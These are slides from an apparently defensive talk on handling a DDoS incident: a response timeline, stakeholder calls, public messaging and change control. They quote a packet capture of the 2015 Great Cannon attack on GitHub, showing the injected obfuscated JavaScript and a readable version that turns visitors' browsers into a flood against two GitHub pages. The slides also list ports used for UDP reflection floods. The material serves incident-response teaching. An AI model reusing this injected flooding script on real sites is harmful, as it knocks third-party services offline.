



# 72 Hrs of Incident Response

an I.R. lifecycle  
with pwr cycle

# CV: pwrcycle



I've worked for the 3 largest DDoS companies:

- Prolexic (bought by Akamai)
- Verisign (DDoS SOC)
- Defense.net (bought F5 Networks)

Apple's SIRT

- Flashback: Largest Mac Botnet
- Pintsized: ATP Malware targeting Silicon Valley companies
- iOS "In-App Purchases" hack via DNS Change/Hijacking

# Incident Response Preparation



## Know thy self:

( Obligatory Sun Tzu quote, presented as a Bash If statement ):

```
If [ ( know_yourself=1) and ( know_enemy=1 ) ] ;  
    echo "you need not fear the result of a hundred battles." ;  
elif [ ( know_yourself=1) and ( know_enemy=0 ) ]  
    echo "for every victory gained you will also suffer a defeat" ;  
elif [ ( know_yourself=0 ) and ( know_enemy=0) ] ;  
    echo "you will succumb in every battle."  
fi
```

# Incident Response Timeline



## Day 1. {Friday before a long weekend}

- Noon - You're at lunch, it begins & you don't know.
- 1pm - Support tickets, Twitter/Reddit complaints
- 2pm - Press Reports (Gawker/NYTimes)
- 3pm - **Internal recognition of a problem**
- 4pm - Gather Facts
- 5pm - Conf Call (Circle the Wagons)

# Gather the facts



## Internal

- Systems - NOC
- Networking - Net. Eng.
- Database - Application

## External

- + Users
  - Twitter, Reddit
  - Forums
  - Support Tickets
- + Hosting Provider
  - Logging & Graphs

# Circle the Wagons Conf. Call



Internal Stakeholders. (No more than 10 people)

1. Business - VP of something
2. Database - Application Owner
3. Systems - NOC (Servers/LBs/DNS/Monitoring)
4. Networking - Net. Eng.
5. Security - SOC/SIRT ( PCI, HIPAA, PII )

~~Sales, Dev., Marketing, Kibitzers~~

# Incident Response Timeline



## Day 2. {Groundhog Day}

- 6pm-6am - Implement a solution.
- 9am - Test Changes (separate IP)
- Noon - Go live vs the attack
- 1pm - Conf Call (hopefully 2nd and last call)
- 5pm - End of day update

# Incident Response Timeline



Day 3. {... and there was much rejoicing}

- 9am - New Attack
- Noon - Review of solution vs new attack.
- 1pm - {Back to day 2?}
- 5pm - Final Event report.





# Incident Response Preparation



Know thy self:

Logging

-User-Agent & Referer

Graphs

-Network, CPU, RAM

pcaps

-Network Taps/Spans & on server

# What to say publicly:



1. Publicly acknowledge the problem.
2. Tell people you are taking action to fix it.
3. Tell them when to expect an update.

“There is an issue with the {website/app/etc}.”

“We are conducting maintenance.”

“We will have an update {soon}.”



# Change Control Control



1. DNS
  - Password to {Register/GoDaddy/etc}?
  - TTL (1 hr or 24 hrs?)
2. Who holds the HTTPs Cert & Key?
3. Who's in charge?
  - Who authorizes changes?
  - Who authorizes "It's working."?

# Links



Ten Strategies of a World-Class Computer Security Incident Response Team  
by Carson Zimmerman @ Schmoocon 2013

[https://www.shmoocon.org/speakers\\_2013#strategies](https://www.shmoocon.org/speakers_2013#strategies)

China's Man-on-the-Side Attack on GitHub  
Tuesday, 31 March 2015

<http://www.netresec.com>

<http://netres.ec/?b=153DB4E>

<http://netres.ec/?b=153DB4E>

Transcript: 192.168.70.160:42296 -> 61.135.185.140:80 TCP HTTP

Client : 192.168.70.160 TCP 42296  
Server : 61.135.185.140 TCP 80  
Start Time : 2015-03-27 22:32:23.023654 UTC (23:32 GMT+01:00)  
End Time : 2015-03-27 22:32:23.836102 UTC (23:32 GMT+01:00)  
Duration : 00:00:00.8124480  
Frames : 12  
Protocol : HTTP

Display Frames 100 Encoding ASCII Size 8

```
HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+(c=c%a)>35?String.fromCharCode(c+29):c.toString(36)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1.k("<5 p='r://H.B.9/8/2.0.0/8.C.t\\>\\h/S>");!J.K&l.k("<5 p='r://L.8.9/8-T.t\\>\\h/S>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.2(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A)d=["m://n.9/E", "m://n.9/F-G"];o=d.I;3 e(){7 a=i()&o;q(d[a])}3 q(a){7 b;$$.M({N:a,O:"5",P:Q,R:!0,S:3){s=(6 4).c(),U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}}}3 u(a){v("e()",a)}v("e()",D);',62,64,'||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|starttime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTImeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length>window|jQuery|code|ajax|url|dataTyp e|timeou t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
```

```
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
starttime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}

url_array = ["https://github.com/greatfire",
             "https://github.com/cn-nytimes"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - starttime && (r_send(b), count += 1)
        }
    })
}
```

# DDoS Attack Types



## UDP Reflection Floods

- DNS : port 53
- NTP : port 123
- SSDP : port 1900
- CharGen : port 19